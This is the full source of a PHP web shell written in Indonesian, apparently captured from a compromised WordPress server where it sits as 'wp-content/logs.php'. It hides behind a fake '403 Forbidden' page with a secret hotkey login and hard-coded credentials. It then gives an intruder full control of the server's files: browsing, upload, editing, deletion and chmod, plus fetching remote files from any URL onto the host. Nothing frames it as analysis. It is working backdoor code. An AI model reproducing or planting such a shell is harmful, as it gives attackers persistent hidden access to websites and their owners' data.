HEX
Server: nginx/1.27.1
System: Linux in-3 5.15.0-161-generic #171-Ubuntu SMP Sat Oct 11 08:17:01 UTC 2025 x86_64
User: ivenus-clone (3297)
PHP: 7.4.33
Disabled: exec,passthru,shell_exec,system,proc_open,popen,parse_ini_file,show_source
Upload Files
File: /storage/v4513/ivenus-clone/public_html/wp-content/logs.php
<?php
session_start();

// Aktifkan pelaporan error untuk debugging (HANYA UNTUK PENGEMBANGAN! Nonaktifkan di produksi)
ini_set('display_errors', 1);
ini_set('display_startup_errors', 1);
error_reporting(E_ALL);

// Kredensial Login
const USERNAME = 'adminbackup';
const HASHED_PASSWORD = '$2a$12$K3HfXkmQ65XC.C6hU699wuq1dU1vg0qlnlG0.G95PFlYcN4YwQCPy'; // Password: 'password'

// Fungsi rekursif untuk menghapus folder beserta isinya
function deleteFolderRecursive($folder) {
    if (!is_dir($folder)) {
        return false;
    }
    foreach (scandir($folder) as $item) {
        if ($item === '.' || $item === '..') continue;
        $path = $folder . DIRECTORY_SEPARATOR . $item;
        if (is_dir($path)) {
            deleteFolderRecursive($path);
        } else {
            unlink($path);
        }
    }
    return rmdir($folder);
}

// Tangani permintaan logout
if (isset($_GET['logout'])) {
    session_destroy();
    header("Location: " . $_SERVER['PHP_SELF']);
    exit;
}

// --- LOGIKA LOGIN ---
if (!isset($_SESSION['logged_in'])) {
    if (isset($_POST['username']) && isset($_POST['password'])) {
        if ($_POST['username'] === USERNAME && password_verify($_POST['password'], HASHED_PASSWORD)) {
            $_SESSION['logged_in'] = true;
            header("Location: " . $_SERVER['PHP_SELF']);
            exit;
        } else {
            $error = "Username atau password salah!";
        }
    }

    // Tampilan halaman "Forbidden" standar dengan kotak login tersembunyi
    ?>
    <!DOCTYPE html>
    <html>
    <head>
        <title>403 Forbidden</title>
        <style>
            /* Gaya untuk kotak login yang tersembunyi */
            #loginBox {
                position: fixed;
                top: 50%;
                left: 50%;
                transform: translate(-50%, -50%);
                background: #000; /* Latar belakang hitam untuk kotak login */
                padding: 20px;
                border: 2px solid #0f0; /* Hijau terang */
                width: 350px;
                color: #0f0; /* Teks hijau terang */
                display: none; /* Sembunyikan secara default */
                box-shadow: 0 0 15px rgba(0, 255, 0, 0.5); /* Efek cahaya hijau */
                font-family: 'Courier New', monospace; /* Font konsol */
            }
            #loginBox strong, #loginBox span {
                color: #00ff00; /* Konsisten dengan warna hijau futuristik */
            }
            #loginBox input[type="text"],
            #loginBox input[type="password"] {
                width: 100%;
                background: #000;
                border: none;
                border-bottom: 1px solid #0f0;
                color: #0f0;
                padding: 5px;
                margin-bottom: 15px; /* Spasi antar input */
                font-family: inherit;
                outline: none; /* Hilangkan outline default */
            }
            #loginBox input[type="text"]:focus,
            #loginBox input[type="password"]:focus {
                border-bottom: 2px solid #00ff00; /* Border lebih tebal saat fokus */
            }
            #loginBox button[type="submit"] {
                width: 100%;
                background: #000;
                border: 1px solid #0f0;
                color: #0f0;
                padding: 8px;
                font-family: inherit;
                cursor: pointer;
                transition: background-color 0.3s, color 0.3s, border-color 0.3s;
            }
            #loginBox button[type="submit"]:hover {
                background: #0f0;
                color: #000;
                border-color: #0f0;
            }
            .error-message {
                color: #f00;
                margin-bottom: 10px;
                font-weight: bold;
            }
        </style>
    </head>
    <body>
        <h1>Forbidden</h1>
        <p>You don't have permission to access <?= htmlspecialchars($_SERVER['PHP_SELF']) ?> on this server.</p>
        <hr>
        <div id="loginBox">
            <div style="margin-bottom:10px;">
                <strong>Linux Console</strong><br>
                <span>login: </span>
            </div>
            <?php if (isset($error)) echo '<div class="error-message">' . $error . '</div>'; ?>
            <form method="post">
                <label>Username</label><br>
                <input type="text" name="username" required><br>
                <label>Password</label><br>
                <input type="password" name="password" required><br>
                <button type="submit">Login</button>
            </form>
        </div>
        <script>

            document.addEventListener('keydown', function(e) {
                if (e.ctrlKey && e.shiftKey && e.key === 'D') {
                    var box = document.getElementById('loginBox');
                    // Toggle visibility
                    box.style.display = box.style.display === 'none' ? 'block' : 'none';
                }
            });
        </script>
    </body>
    </html>
    <?php
    exit; // Hentikan eksekusi script jika belum login
}

// --- FUNGSI BANTU FILE MANAGER ---

// Fungsi untuk menampilkan permission file/folder
function get_permissions($file) {
    if (!file_exists($file)) return 'N/A';
    return substr(sprintf('%o', fileperms($file)), -4);
}

function render_path_links($path) {
    // Selalu pastikan path adalah realpath untuk konsistensi
    $path = realpath($path) ?: __DIR__;

    $parts = explode(DIRECTORY_SEPARATOR, trim($path, DIRECTORY_SEPARATOR));
    $acc = '';
    // Mulai dari root server jika path tidak relatif terhadap __DIR__
    $out = '<a href="?path=' . urlencode(DIRECTORY_SEPARATOR) . '" class="text-info">/</a>';

    // Jika path saat ini adalah root (misalnya C:\ atau /)
    if ($path === DIRECTORY_SEPARATOR || (strlen($path) === 3 && $path[1] === ':' && $path[2] === DIRECTORY_SEPARATOR)) {
        return '<a href="?path=' . urlencode($path) . '" class="text-info">' . htmlspecialchars($path) . '</a>';
    }

    // Bangun breadcrumb dari root server
    foreach ($parts as $p) {
        if ($p === '') continue; // Lewati bagian kosong
        $acc .= DIRECTORY_SEPARATOR . $p;
        $out .= ' <a href="?path=' . urlencode($acc) . '" class="text-info">' . htmlspecialchars($p) . '</a> /';
    }
    return rtrim($out, ' /'); // Hapus slash trailing
}

// Tentukan direktori kerja saat ini
$dir = $_GET['path'] ?? __DIR__;
$dir = realpath($dir) ?: __DIR__; // Pastikan path absolut dan fallback ke __DIR__

// --- PROSES MANAJEMEN FILE (CRUD) ---

// -- PROSES CREATE FOLDER --
if (isset($_POST['create_folder']) && !empty($_POST['folder_name'])) {
    $newFolder = $dir . DIRECTORY_SEPARATOR . basename($_POST['folder_name']);
    if (!file_exists($newFolder)) {
        if (mkdir($newFolder, 0755)) {
            header("Location: " . $_SERVER['PHP_SELF'] . "?path=" . urlencode($dir));
            exit;
        } else {
            $error = "Gagal membuat folder. Periksa izin direktori.";
        }
    } else {
        $error = "Folder sudah ada!";
    }
}

// -- PROSES CREATE FILE --
if (isset($_POST['create_file']) && !empty($_POST['file_name'])) {
    $newFile = $dir . DIRECTORY_SEPARATOR . basename($_POST['file_name']);
    if (!file_exists($newFile)) {
        if (file_put_contents($newFile, "") !== false) {
            header("Location: " . $_SERVER['PHP_SELF'] . "?path=" . urlencode($dir));
            exit;
        } else {
            $error = "Gagal membuat file. Periksa izin direktori.";
        }
    } else {
        $error = "File sudah ada!";
    }
}

// -- PROSES UPLOAD FILES --
if (isset($_FILES['file']) && $_SERVER['REQUEST_METHOD'] === 'POST') {
    // Ini adalah permintaan AJAX dari JavaScript
    if (isset($_SERVER['HTTP_X_REQUESTED_WITH']) && strtolower($_SERVER['HTTP_X_REQUESTED_WITH']) === 'xmlhttprequest') {
        $uploaded = 0;
        $errors = [];
        $files = $_FILES['file'];

        if (!is_array($files['name'])) { // Handle single file upload (jika ada input file tunggal)
            $files = [
                'name' => [$files['name']], 'tmp_name' => [$files['tmp_name']],
                'error' => [$files['error']], 'size' => [$files['size']], 'type' => [$files['type']],
            ];
        }

        for ($i = 0; $i < count($files['name']); $i++) {
            if ($files['error'][$i] === UPLOAD_ERR_OK) {
                $targetFile = $dir . DIRECTORY_SEPARATOR . basename($files['name'][$i]);
                if (move_uploaded_file($files['tmp_name'][$i], $targetFile)) {
                    $uploaded++;
                } else {
                    $errors[] = "Gagal upload file: " . htmlspecialchars($files['name'][$i]);
                }
            } else {
                $errors[] = "Upload error untuk " . htmlspecialchars($files['name'][$i]) . ": " . $files['error'][$i];
            }
        }

        // --- PERBAIKAN DI SINI ---
        // Kirim respons JSON agar JavaScript bisa memparse dengan benar
        header('Content-Type: application/json');
        if (empty($errors)) {
            http_response_code(200);
            echo json_encode(['status' => 'success', 'message' => "$uploaded file berhasil diupload."]);
        } else {
            http_response_code(500); // Atau 400 jika itu error klien
            echo json_encode(['status' => 'error', 'message' => implode("\n", $errors)]);
        }
        exit; // Penting untuk menghentikan eksekusi setelah respons AJAX
        // --- AKHIR PERBAIKAN ---

    } else {
        // Ini adalah upload form standar (jika ada) - biasanya tidak digunakan dengan AJAX
        // Tetap arahkan ulang ke halaman yang sama
        header("Location: " . $_SERVER['PHP_SELF'] . "?path=" . urlencode($dir));
        exit;
    }
}


// -- PROSES DELETE FILE/FOLDER --
if (isset($_GET['delete'])) {
    $targetName = basename($_GET['delete']);
    $targetPath = $dir . DIRECTORY_SEPARATOR . $targetName;

    if (file_exists($targetPath)) {
        if (is_file($targetPath)) {
            unlink($targetPath);
        } elseif (is_dir($targetPath)) {
            deleteFolderRecursive($targetPath);
        }
    }

    header("Location: " . $_SERVER['PHP_SELF'] . "?path=" . urlencode($dir));
    exit;
}

// -- PROSES RENAME --
if (isset($_POST['rename']) && isset($_POST['old_name']) && isset($_POST['new_name'])) {
    $oldName = basename($_POST['old_name']);
    $newName = basename($_POST['new_name']);
    $oldPath = $dir . DIRECTORY_SEPARATOR . $oldName;
    $newPath = $dir . DIRECTORY_SEPARATOR . $newName;

    if (file_exists($oldPath) && !file_exists($newPath)) {
        rename($oldPath, $newPath);
    }
    header("Location: " . $_SERVER['PHP_SELF'] . "?path=" . urlencode($dir));
    exit;
}

// -- PROSES CHMOD --
if (isset($_POST['chmod']) && isset($_POST['file_name']) && isset($_POST['perm'])) {
    $fileName = basename($_POST['file_name']);
    $filePath = $dir . DIRECTORY_SEPARATOR . $fileName;
    $perm = $_POST['perm'];

    if (preg_match('/^[0-7]{3,4}$/', $perm) && file_exists($filePath)) {
        chmod($filePath, octdec($perm));
    }
    header("Location: " . $_SERVER['PHP_SELF'] . "?path=" . urlencode($dir));
    exit;
}

// --- AJAX HANDLER UNTUK EDIT FILE ---

// -- AJAX LOAD FILE CONTENT (modal edit file) --
if (isset($_GET['ajax_load_file']) && isset($_GET['file']) && isset($_GET['current_path'])) {
    $currentPathFromJs = realpath(urldecode($_GET['current_path']));
    if ($currentPathFromJs === false) {
        http_response_code(400);
        echo "Error: Path current_path tidak valid.";
        exit;
    }

    $fileName = basename($_GET['file']);
    $filePath = $currentPathFromJs . DIRECTORY_SEPARATOR . $fileName;

    if (file_exists($filePath) && is_file($filePath)) {
        header('Content-Type: text/plain; charset=utf-8');
        try {
            $content = file_get_contents($filePath);
            if ($content === false) {
                throw new Exception("Gagal membaca konten file. Periksa izin baca.");
            }
            echo $content;
        } catch (Exception $e) {
            http_response_code(500);
            echo "Error saat memuat file: " . $e->getMessage();
            error_log("FM_ERROR: Failed to read file " . $filePath . " for editing. Error: " . $e->getMessage());
        }
    } else {
        http_response_code(404);
        echo "Error: File tidak ditemukan, atau bukan file.";
        error_log("FM_ERROR: Attempt to load invalid file: " . $filePath);
    }
    exit;
}

// -- AJAX SAVE FILE CONTENT (modal edit file) --
if (isset($_POST['ajax_save_file']) && isset($_POST['edit_file']) && isset($_POST['content']) && isset($_POST['current_path'])) {
    $currentPathFromJs = realpath(urldecode($_POST['current_path']));
    if ($currentPathFromJs === false) {
        http_response_code(400);
        echo "Error: Path current_path tidak valid untuk penyimpanan.";
        exit;
    }

    $fileName = basename($_POST['edit_file']);
    $filePath = $currentPathFromJs . DIRECTORY_SEPARATOR . $fileName;

    if (file_exists($filePath) && is_file($filePath)) {
        try {
            if (file_put_contents($filePath, $_POST['content']) !== false) {
                echo "OK";
            } else {
                throw new Exception("Operasi tulis file gagal. Periksa izin tulis.");
            }
        } catch (Exception $e) {
            http_response_code(500);
            echo "Error saat menyimpan file: " . $e->getMessage();
            error_log("FM_ERROR: Failed to write to file " . $filePath . " for editing. Error: " . $e->getMessage());
        }
    } else {
        http_response_code(400);
        echo "Error: File tidak ditemukan, atau bukan file.";
        error_log("FM_ERROR: Attempt to save to invalid file: " . $filePath);
    }
    exit;
}

// --- AKHIR AJAX HANDLER ---

// -- DOWNLOAD FILE FROM URL --
if (isset($_POST['download_file']) && !empty($_POST['download_url']) && !empty($_POST['download_name'])) {
    $url = filter_var($_POST['download_url'], FILTER_VALIDATE_URL);
    $saveName = basename($_POST['download_name']);

    if ($url && $saveName) {
        $targetFile = $dir . DIRECTORY_SEPARATOR . $saveName;
        try {
            $fileContent = @file_get_contents($url); // Gunakan @ untuk menekan warning jika URL tidak valid/tidak bisa diakses
            if ($fileContent === false) {
                throw new Exception("Gagal mengunduh konten dari URL.");
            }
            if (file_put_contents($targetFile, $fileContent) === false) {
                throw new Exception("Gagal menyimpan file yang didownload.");
            }
        } catch (Exception $e) {
            $error = "Download Error: " . $e->getMessage();
            error_log("FM_ERROR: Download failed for URL " . $url . ". Error: " . $e->getMessage());
        }
    } else {
        $error = "URL download atau nama file tidak valid.";
    }
    header("Location: " . $_SERVER['PHP_SELF'] . "?path=" . urlencode($dir));
    exit;
}

// Ambil isi folder untuk ditampilkan
$items = scandir($dir);
?>
<!DOCTYPE html>
<html>
<head>
    <title>Futuristic File Manager</title>
    <link href="https://cdn.jsdelivr.net/npm/[email protected]/dist/css/bootstrap.min.css" rel="stylesheet">
    <style>
        body {
            background: linear-gradient(to right, #0a1c3a, #102b54);
            color: #00aaff;
            font-family: 'Courier New', monospace;
        }
        .container {
            margin-top: 40px;
        }
        .table {
            background: rgba(0, 0, 0, 0.7);
            border: 1px solid #00aaff;
            box-shadow: 0 0 10px rgba(0, 170, 255, 0.3);
        }
        .table th, .table td {
            vertical-align: middle;
            color: #00aaff;
            border-color: rgba(0, 170, 255, 0.3);
        }
        .table thead th {
            background-color: rgba(0, 0, 0, 0.9);
            color: #66ccff;
            border-color: #00aaff;
        }
        .table-hover tbody tr:hover {
            background-color: rgba(0, 170, 255, 0.1);
        }
        a, a:hover {
            color: #00aaff;
            text-decoration: none;
        }
        a:hover {
            color: #66ccff;
            text-decoration: underline;
            cursor: pointer;
        }
        .btn {
            border-radius: 8px;
            font-weight: bold;
            transition: background-color 0.3s, color 0.3s, border-color 0.3s;
        }
        .btn-primary { background-color: #007bff; border-color: #007bff; color: #fff; }
        .btn-primary:hover { background-color: #0056b3; border-color: #0056b3; }
        .btn-success { background-color: #28a745; border-color: #28a745; color: #fff; }
        .btn-success:hover { background-color: #218838; border-color: #218838; }
        .btn-info { background-color: #17a2b8; border-color: #17a2b8; color: #fff; }
        .btn-info:hover { background-color: #138496; border-color: #138496; }
        .btn-warning { background-color: #ffc107; border-color: #ffc107; color: #000; }
        .btn-warning:hover { background-color: #e0a800; border-color: #e0a800; }
        .btn-danger { background-color: #dc3545; border-color: #dc3545; color: #fff; }
        .btn-danger:hover { background-color: #c82333; border-color: #c82333; }
        .btn-secondary { background-color: #6c757d; border-color: #6c757d; color: #fff; }
        .btn-secondary:hover { background-color: #5a6268; border-color: #5a6268; }

        .btn-outline-danger {
            color: #dc3545;
            border-color: #dc3545;
            background-color: transparent;
        }
        .btn-outline-danger:hover {
            background-color: #dc3545;
            color: #fff;
        }
        .btn-outline-warning {
            color: #ffc107;
            border-color: #ffc107;
            background-color: transparent;
        }
        .btn-outline-warning:hover {
            background-color: #ffc107;
            color: #000;
        }

        .navbar {
            background-color: rgba(0, 0, 0, 0.85);
            box-shadow: 0 2px 10px rgba(0,170,255,0.4);
        }
        .navbar-brand {
            color: #66ccff !important;
            font-size: 1.5rem;
            text-shadow: 0 0 5px rgba(0, 170, 255, 0.8);
        }
        input[type=text].perm-input,
        .form-control {
            background-color: #111;
            border: 1px solid #00aaff;
            color: #00aaff;
            border-radius: 5px;
            padding: 0.375rem 0.75rem;
            transition: border-color 0.3s, box-shadow 0.3s;
        }
        .form-control:focus {
            background-color: #111;
            color: #00aaff;
            border-color: #66ccff;
            box-shadow: 0 0 0 0.25rem rgba(0, 170, 255, 0.25);
        }
        textarea#editFileContent {
            background:#111;
            color:#0af;
            border: 1px solid #00aaff;
            resize: vertical;
            font-family: 'Consolas', 'Monaco', 'Courier New', monospace; /* Font untuk editor kode */
            line-height: 1.5;
            padding: 10px;
        }
        #editFileStatus {
            color: #66ccff;
            font-style: italic;
        }
        .alert {
            font-weight: bold;
            padding: 10px 15px;
            border-radius: 5px;
            animation: fadeIn 0.5s;
        }
        .alert-danger {
            background-color: #dc3545;
            border-color: #dc3545;
            color: #fff;
        }
        .alert-success {
            background-color: #28a745;
            border-color: #28a745;
            color: #fff;
        }
        .alert-warning {
            background-color: #ffc107;
            border-color: #ffc107;
            color: #000;
        }

        @keyframes fadeIn {
            from { opacity: 0; }
            to { opacity: 1; }
        }

    </style>
</head>
<body>
<nav class="navbar navbar-dark px-4 d-flex justify-content-between align-items-center">
    <span class="navbar-brand mb-0 h1">Filemanager</span>
    <div>
      <button class="btn btn-success btn-sm me-2" data-bs-toggle="modal" data-bs-target="#createFolderModal" title="Buat Folder Baru">
         Folder Baru
      </button>
      <button class="btn btn-info btn-sm me-3" data-bs-toggle="modal" data-bs-target="#createFileModal" title="Buat File Baru">
         File Baru
      </button>
      <a href="?logout=1" class="btn btn-sm btn-danger">Logout</a>
    </div>
</nav>
<div class="container">

    <h5 class="mt-4"> Path: <?= render_path_links($dir) ?></h5>

    <form id="uploadForm" enctype="multipart/form-data" class="my-3 d-flex gap-2" method="post">
        <input type="file" id="fileInput" name="file[]" multiple class="form-control" />
        <button type="submit" class="btn btn-primary">Upload</button>
    </form>

    <div class="progress" style="height: 20px; display:none;" id="progressWrapper">
      <div id="progressBar" class="progress-bar progress-bar-striped progress-bar-animated" role="progressbar" style="width: 0%">0%</div>
    </div>

    <div id="uploadStatus" class="mt-2 text-info"></div>


    <form method="post" class="mb-3 d-flex gap-2 align-items-center">
        <input type="url" name="download_url" class="form-control" placeholder="Masukkan URL file yang ingin didownload" required>
        <input type="text" name="download_name" class="form-control" placeholder="Nama file yang disimpan (dgn ekstensi)" required>
        <button type="submit" name="download_file" class="btn btn-secondary">Download File</button>
    </form>

    <?php if (isset($error)): ?>
      <div class="alert alert-danger"><?= htmlspecialchars($error) ?></div>
    <?php endif; ?>
    <?php if (isset($uploadSuccess)): ?>
      <div class="alert alert-success"><?= htmlspecialchars($uploadSuccess) ?></div>
    <?php endif; ?>
    <?php if (isset($uploadError)): ?>
      <div class="alert alert-warning"><?= $uploadError ?></div>
    <?php endif; ?>

    <table class="table table-dark table-hover table-bordered">
        <thead class="table-light text-dark">
            <tr>
                <th>Nama</th>
                <th style="width: 100px;">Tipe</th>
                <th style="width: 120px;">Izin (Permissions)</th>
                <th style="width: 160px;">Aksi</th>
            </tr>
        </thead>
        <tbody>
            <?php
            // Menampilkan link ke direktori induk
            $parentDir = dirname($dir);
            if ($parentDir !== $dir) { // Check if we are not at the filesystem root
                echo '<tr>';
                echo '<td> <a href="?path=' . urlencode($parentDir) . '">.. (Folder Induk)</a></td>';
                echo '<td>Folder</td>';
                echo '<td>-</td>';
                echo '<td>-</td>';
                echo '</tr>';
            }

            // Urutkan item berdasarkan folder lalu file, dan secara alfabetis
            $folders = [];
            $files = [];
            foreach ($items as $item) {
                if ($item === '.' || $item === '..') continue;
                $path = $dir . DIRECTORY_SEPARATOR . $item;
                if (!file_exists($path)) continue; // Pastikan file/folder benar-benar ada

                if (is_dir($path)) {
                    $folders[] = $item;
                } else {
                    $files[] = $item;
                }
            }
            sort($folders);
            sort($files);
            $sortedItems = array_merge($folders, $files);

            foreach ($sortedItems as $item):
                $path = $dir . DIRECTORY_SEPARATOR . $item;
                $perm = get_permissions($path);
            ?>
            <tr>
                <td>
                    <?php if (is_dir($path)): ?>
                         <a href="?path=<?= urlencode($path) ?>"><?= htmlspecialchars($item) ?></a>
                    <?php else: ?>
                         <a href="#" class="edit-file-link" data-filename="<?= htmlspecialchars($item) ?>"><?= htmlspecialchars($item) ?></a>
                    <?php endif; ?>
                </td>
                <td><?= is_dir($path) ? 'Folder' : 'File' ?></td>
                <td>
                    <form method="post" class="d-flex align-items-center gap-1 file-actions" onsubmit="return confirm('Ubah izin menjadi nilai ini?');" style="white-space: nowrap;">
                        <input type="hidden" name="file_name" value="<?= htmlspecialchars($item) ?>">
                        <input type="text" name="perm" value="<?= $perm ?>" class="perm-input" maxlength="4" pattern="[0-7]{3,4}" title="Masukkan izin dalam oktal (misal: 0644)" required>
                        <button type="submit" name="chmod" class="btn btn-sm btn-warning" title="Ubah Izin">CHMOD</button>
                    </form>
                </td>
                <td>
                    <div class="actions-container file-actions">
                        <a href="?path=<?= urlencode($dir) ?>&delete=<?= urlencode($item) ?>"
                           class="btn btn-sm btn-outline-danger" onclick="return confirm('Hapus item ini secara permanen?')" title="Hapus"></a>

                        <?php if (is_file($path)): ?>
                            <button class="btn btn-sm btn-outline-warning edit-file-link" data-filename="<?= htmlspecialchars($item) ?>" title="Edit File"></button>
                        <?php endif; ?>

                        <button class="btn btn-sm btn-info" data-bs-toggle="modal" data-bs-target="#renameModal"
                                data-oldname="<?= htmlspecialchars($item) ?>" title="Ganti Nama"></button>
                    </div>
                </td>
            </tr>
            <?php endforeach; ?>
        </tbody>
    </table>

    <div class="modal fade" id="createFolderModal" tabindex="-1" aria-labelledby="createFolderLabel" aria-hidden="true">
      <div class="modal-dialog modal-dialog-centered">
        <form method="post" class="modal-content bg-dark text-light">
          <div class="modal-header">
            <h5 class="modal-title" id="createFolderLabel">Buat Folder Baru</h5>
            <button type="button" class="btn-close btn-close-white" data-bs-dismiss="modal" aria-label="Close"></button>
          </div>
          <div class="modal-body">
            <input type="text" name="folder_name" class="form-control" placeholder="Nama folder" required autofocus>
          </div>
          <div class="modal-footer">
            <button type="submit" name="create_folder" class="btn btn-primary">Buat Folder</button>
          </div>
        </form>
      </div>
    </div>

    <div class="modal fade" id="createFileModal" tabindex="-1" aria-labelledby="createFileLabel" aria-hidden="true">
      <div class="modal-dialog modal-dialog-centered">
        <form method="post" class="modal-content bg-dark text-light">
          <div class="modal-header">
            <h5 class="modal-title" id="createFileLabel">Buat File Baru</h5>
            <button type="button" class="btn-close btn-close-white" data-bs-dismiss="modal" aria-label="Close"></button>
          </div>
          <div class="modal-body">
            <input type="text" name="file_name" class="form-control" placeholder="Nama file (misal: test.txt)" required autofocus>
          </div>
          <div class="modal-footer">
            <button type="submit" name="create_file" class="btn btn-primary">Buat File</button>
          </div>
        </form>
      </div>
    </div>

    <div class="modal fade" id="renameModal" tabindex="-1" aria-labelledby="renameLabel" aria-hidden="true">
      <div class="modal-dialog modal-dialog-centered">
        <form method="post" class="modal-content bg-dark text-light">
          <div class="modal-header">
            <h5 class="modal-title" id="renameLabel">Ganti Nama File/Folder</h5>
            <button type="button" class="btn-close btn-close-white" data-bs-dismiss="modal" aria-label="Close"></button>
          </div>
          <div class="modal-body">
            <input type="hidden" name="old_name" id="renameOldName">
            <label for="renameNewName" class="form-label">Nama Baru:</label>
            <input type="text" name="new_name" id="renameNewName" class="form-control" required autofocus>
          </div>
          <div class="modal-footer">
            <button type="submit" name="rename" class="btn btn-primary">Ganti Nama</button>
          </div>
        </form>
      </div>
    </div>

    <div class="modal fade" id="editFileModal" tabindex="-1" aria-labelledby="editFileLabel" aria-hidden="true">
      <div class="modal-dialog modal-lg modal-dialog-centered">
        <div class="modal-content bg-dark text-light">
          <div class="modal-header">
            <h5 class="modal-title" id="editFileLabel">Edit File: <span id="editFileName"></span></h5>
            <button type="button" class="btn-close btn-close-white" data-bs-dismiss="modal" aria-label="Close"></button>
          </div>
          <div class="modal-body">
            <textarea id="editFileContent" class="form-control" rows="20" spellcheck="false"></textarea>
            <div id="editFileStatus" class="mt-2 text-center"></div>
          </div>
          <div class="modal-footer">
            <button id="saveFileBtn" class="btn btn-primary">Simpan</button>
          </div>
        </div>
      </div>
    </div>

</div>

<script src="https://cdn.jsdelivr.net/npm/[email protected]/dist/js/bootstrap.bundle.min.js"></script>
<script>
document.addEventListener('DOMContentLoaded', function () {
    // Rename modal show event
    const renameModal = document.getElementById('renameModal');
    renameModal.addEventListener('show.bs.modal', function (event) {
        const button = event.relatedTarget;
        const oldName = button.getAttribute('data-oldname');
        document.getElementById('renameOldName').value = oldName;
        document.getElementById('renameNewName').value = oldName;
    });

    // Edit file modal show event
    const editFileModal = new bootstrap.Modal(document.getElementById('editFileModal'));
    let currentEditFile = null; // Menyimpan nama file yang sedang diedit
    const fileNameDisplay = document.getElementById('editFileName'); // Span untuk menampilkan nama file di modal
    const fileContentArea = document.getElementById('editFileContent'); // Textarea untuk konten file
    const saveBtn = document.getElementById('saveFileBtn'); // Tombol simpan
    const statusDiv = document.getElementById('editFileStatus'); // Div untuk pesan status

    // Event listener untuk semua link/tombol edit file
    document.querySelectorAll('.edit-file-link').forEach(el => {
        el.addEventListener('click', function(e) {
            e.preventDefault(); // Mencegah perilaku default link
            const filename = this.getAttribute('data-filename');
            currentEditFile = filename;
            fileNameDisplay.textContent = filename;
            fileContentArea.value = 'Memuat konten file...'; // Pesan loading
            statusDiv.textContent = ''; // Kosongkan status sebelumnya
            saveBtn.disabled = true; // Nonaktifkan tombol simpan selama loading

            // Ambil path direktori saat ini dari PHP (diekspos via PHP di HTML)
            const currentPath = '<?= urlencode($dir) ?>';

            // Lakukan permintaan AJAX untuk memuat konten file
            fetch(`?ajax_load_file=1&file=${encodeURIComponent(filename)}&current_path=${currentPath}`)
                .then(r => {
                    if (!r.ok) { // Jika respons bukan 2xx (misal 404, 500)
                        return r.text().then(text => {
                            // Lempar error dengan status dan pesan dari server
                            throw new Error(`HTTP error! Status: ${r.status}, Pesan: ${text}`);
                        });
                    }
                    return r.text(); // Ambil teks respons (konten file)
                })
                .then(text => {
                    fileContentArea.value = text; // Tampilkan konten di textarea
                    editFileModal.show(); // Tampilkan modal
                    fileContentArea.focus(); // Fokuskan kursor ke textarea
                }).catch(error => {
                    console.error('Error loading file:', error);
                    fileContentArea.value = `Gagal memuat file: ${error.message}`;
                    statusDiv.textContent = 'Gagal memuat file. Cek konsol browser (F12) untuk detail.';
                    statusDiv.style.color = '#dc3545'; // Warna merah untuk error
                }).finally(() => {
                   saveBtn.disabled = false; // Aktifkan kembali tombol simpan
                });
        });
    });

    // Event listener untuk tombol Simpan di modal edit file
    saveBtn.addEventListener('click', function() {
        if (!currentEditFile) return; // Pastikan ada file yang sedang diedit
        saveBtn.disabled = true; // Nonaktifkan tombol simpan
        statusDiv.textContent = 'Menyimpan...'; // Pesan status
        statusDiv.style.color = '#66ccff'; // Reset warna status ke default

        const currentPath = '<?= urlencode($dir) ?>'; // Ambil path saat ini lagi

        // Kirim permintaan AJAX POST untuk menyimpan konten file
        fetch('<?= $_SERVER['PHP_SELF'] ?>', {
            method: 'POST',
            headers: {'Content-Type': 'application/x-www-form-urlencoded'}, // Penting untuk mengirim data form
            body: new URLSearchParams({ // Buat payload data
                ajax_save_file: '1',
                edit_file: currentEditFile,
                content: fileContentArea.value,
                current_path: currentPath // Kirim path saat ini ke server
            })
        }).then(r => r.text()).then(res => {
            if (res.trim() === 'OK') {
                statusDiv.textContent = 'File berhasil disimpan.';
                statusDiv.style.color = '#28a745'; // Warna hijau untuk sukses
            } else {
                statusDiv.textContent = `Gagal menyimpan file: ${res.trim()}`;
                statusDiv.style.color = '#dc3545'; // Warna merah untuk error
            }
        }).catch(error => {
            console.error('Error saving file:', error);
            statusDiv.textContent = 'Terjadi kesalahan jaringan saat menyimpan.';
            statusDiv.style.color = '#dc3545';
        }).finally(() => {
            saveBtn.disabled = false; // Aktifkan kembali tombol simpan
            // Hapus pesan status setelah beberapa detik
            setTimeout(() => {
                statusDiv.textContent = '';
            }, 3000);
        });
    });

    // Upload form with progress bar
    const uploadForm = document.getElementById('uploadForm');
    const fileInput = document.getElementById('fileInput');
    const progressWrapper = document.getElementById('progressWrapper');
    const progressBar = document.getElementById('progressBar');
    const uploadStatus = document.getElementById('uploadStatus');

    uploadForm.addEventListener('submit', function(e) {
        e.preventDefault();
        if (fileInput.files.length === 0) {
            uploadStatus.textContent = 'Pilih file terlebih dahulu.';
            uploadStatus.style.color = '#ffc107'; // Warna kuning
            return;
        }

        const formData = new FormData();
        for (let i = 0; i < fileInput.files.length; i++) {
            formData.append('file[]', fileInput.files[i]);
        }

        const xhr = new XMLHttpRequest();
        xhr.open('POST', '<?= $_SERVER['PHP_SELF'] . '?path=' . urlencode($dir) ?>', true); // Kirim ke halaman yang sama
        xhr.setRequestHeader('X-Requested-With', 'XMLHttpRequest'); // Tambahkan header untuk identifikasi AJAX

        xhr.upload.onprogress = function(e) {
            if (e.lengthComputable) {
                let percent = (e.loaded / e.total) * 100;
                progressWrapper.style.display = 'block';
                progressBar.style.width = percent + '%';
                progressBar.textContent = Math.round(percent) + '%';
                uploadStatus.textContent = `Mengunggah: ${Math.round(percent)}%`;
                uploadStatus.style.color = '#00aaff';
            }
        };

        xhr.onload = function() {
            progressWrapper.style.display = 'none'; // Sembunyikan progress bar
            progressBar.style.width = '0%'; // Reset progress bar
            progressBar.textContent = '0%'; // Reset teks progress bar

            try {
                // --- PERBAIKAN DI SINI ---
                const response = JSON.parse(xhr.responseText); // Parse respons sebagai JSON
                if (xhr.status === 200 && response.status === 'success') {
                    uploadStatus.textContent = response.message;
                    uploadStatus.style.color = '#28a745'; // Warna hijau
                    setTimeout(() => {
                        location.reload(); // Reload halaman setelah upload selesai
                    }, 1000);
                } else {
                    uploadStatus.textContent = `Upload gagal: ${response.message || 'Terjadi kesalahan tidak diketahui.'}`;
                    uploadStatus.style.color = '#dc3545'; // Warna merah
                }
                // --- AKHIR PERBAIKAN ---
            } catch (e) {
                console.error('Error parsing JSON response:', e);
                uploadStatus.textContent = 'Upload gagal: Respons server tidak valid.';
                uploadStatus.style.color = '#dc3545';
            }
        };

        xhr.onerror = function() {
            uploadStatus.textContent = 'Upload gagal: Kesalahan jaringan.';
            uploadStatus.style.color = '#dc3545';
            progressWrapper.style.display = 'none';
            progressBar.style.width = '0%';
            progressBar.textContent = '0%';
        };

        xhr.send(formData);
    });
});
</script>
</body>
